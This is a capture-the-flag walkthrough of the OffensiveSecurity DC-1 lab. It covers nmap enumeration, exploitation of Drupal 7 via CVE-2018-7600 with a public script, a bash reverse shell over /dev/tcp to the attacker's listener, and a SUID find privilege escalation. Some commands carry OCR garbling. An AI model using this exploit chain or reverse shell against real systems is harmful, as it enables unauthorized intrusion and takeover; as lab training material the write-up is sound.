OffensiveSecurity – DC-1 Alberto Gómez

First, I did a nmap scan:

```
(kali® kali)-[~]
$ nmap -Pn 192.168.51.193
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-09 05:03 EDT
Nmap scan report for 192.168.51.193
Host is up (0.050s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
111/tcp open rpcbind
Nmap done: 1 IP address (1 host up) scanned in 13.77 seconds
```

Tried to learn more about the services:

```
—(kali⊛kali)-[~]
nmap -Pn -p22,80,111 -sV -sC 192.168.51.193
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-09 05:04 EDT
Nmap scan report for 192.168.51.193
Host is up (0.046s latency).
       STATE SERVICE VERSION
                      OpenSSH 6.0p1 Debian 4+deb7u7 (protocol 2.0)
22/tcp open ssh
| ssh-hostkey:
    1024 c4d659e6774c227a961660678b42488f (DSA)
    2048 1182fe534edc5b327f446482757dd0a0 (RSA)
   256 3daa985c87afea84b823688db9055fd8 (ECDSA)
80/tcp open http Apache httpd 2.2.22 ((Debian))
http-robots.txt: 36 disallowed entries (15 shown)
 /includes/ /misc/ /modules/ /profiles/ /scripts/
 /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
//INSTALL.pgsql.txt/INSTALL.sqlite.txt/install.php/INSTALL.txt
|_/LICENSE.txt /MAINTAINERS.txt
|_http-server-header: Apache/2.2.22 (Debian)
_http-generator: Drupal 7 (http://drupal.org)
|_http-title: Welcome to Drupal Site | Drupal Site
111/tcp open rpcbind 2-4 (RPC #100000)
rpcinfo:
    program version port/proto service
                      111/tcp rpcbind
111/udp rpcbind
111/tcp6 rpcbind
111/udp6 rpcbind
    100000 2,3,4
    100000 2,3,4
   100000 3,4
100000 3,4
100024 1
100024 1
                       46232/tcp
                                    status
                      48086/tcp6 status
    100024 1
                                  status
                       53990/udp
                       57904/udp6 status
    100024 1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

On the port 111 section, it found a service on port 46232. Let's check it:

```
(kali@kali)=[~]
$ sudo nmap -Pn -p- -sS 192.168.51.193
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-09 05:15 EDT
Nmap scan report for 192.168.51.193
Host is up (0.048s latency).
Not shown: 65531 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
111/tcp open rpcbind
46232/tcp open unknown

Nmap done: 1 IP address (1 host up) scanned in 49.13 seconds

(kali@kali)=[~]
$ sudo nmap -sV -sC -p46232 192.168.51.193
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-09 05:17 EDT
Nmap scan report for 192.168.51.193
Host is up (0.045s latency).

PORT STATE SERVICE VERSION
46232/tcp open status 1 (RPC #100024)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.89 seconds
```

It's also open. Let's leave it here by now.

On the website, we see it runs DRPAL CMS, version 7.

```
▼ <head profile="http://www.w3.org/1999/xhtml/vocab">
        <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
        link rel="shortcut icon" href="http://192.168.51.193/misc/favicon.ico" type="image/vnd.microsoft.icon">
        <meta name="Generator" content="Drupal 7 (http://drupal.org)">
        <title>Welcome to Drupal Site | Drupal Site</title>
```

Looking for vulnerabilities on this version, I found the CVE-2018-7600, that allows Remote Code Execution. I found this GitHub repository that has a python script to exploit it.

I ran it and got command execution:

```
(kali⊕ kali)-[~/CVE-2018-7600]
$ python3 drupa7-CVE-2018-7600.py http://192.168.51.193 -c pwd

| DRUPAL 7 ≤ 7.57 REMOTE CODE EXECUTION (CVE-2018-7600) |
| by pimps |

[*] Poisoning a form and including it in cache.
[*] Poisoned form ID: form-2AYqxdcJG9e_HzwkNDHyT6-sWE4T90EMdFHgYlW-Z40
[*] Triggering exploit to execute: pwd
/var/www
```

Let's send us a shell:

```
(kali® kali)-[~/CVE-2018-7600]
$ python3 drupa7-CVE-2018-7600.py http://192.168.51.193 -c "bash -c 'bash -i >6 /dev/tcp/192.168.49.51/8888 0>61'"

| DRUPAL 7 ≤ 7.57 REMOTE CODE EXECUTION (CVE-2018-7600) |
| by pimps |

[*] Poisoning a form and including it in cache.

[*] Poisoned form ID: form-4wNNg0n8bVGyEdfkRuYnI17PzpBfC5lk4Ci2ZgE5wYA

[*] Triggering exploit to execute: bash -c 'bash -i >6 /dev/tcp/192.168.49.51/8888 0>61'
```

```
(kali⊕ kali)-[~]
$ nc -lvnp 8888
listening on [any] 8888 ...
connect to [192.168.49.51] from (UNKNOWN) [192.168.51.193] 60441
bash: no job control in this shell
www-data@DC-1:/var/www$ ■
```

We can find the first flag on the /home directory:

```
www-data@DC-1:/var/www$ ls -l /home
ls -l /home
total 8
drwxr-xr-x 2 flag4 flag4 4096 Feb 19 2019 flag4
-rw-r-r-- 1 root root 33 May 9 19:02 local.txt
www-data@DC-1:/var/www$ cat /home/local.txt
cat /home/local.txt
3dd8674c7ac3ec785edd3bbb5412bdc6
www-data@DC-1:/var/www$
```

Looking for files with the SUID bit, I found the *find* command:

```
-rwsr-xr-x 1 root root 162424 Jan 6 2012 /usr/bin/find
```

Looking it up on <u>GTFOBins</u>, we find a command to execute when 'find' has the SUID bit in order to get a root shell:

It was successful and I found the final flag.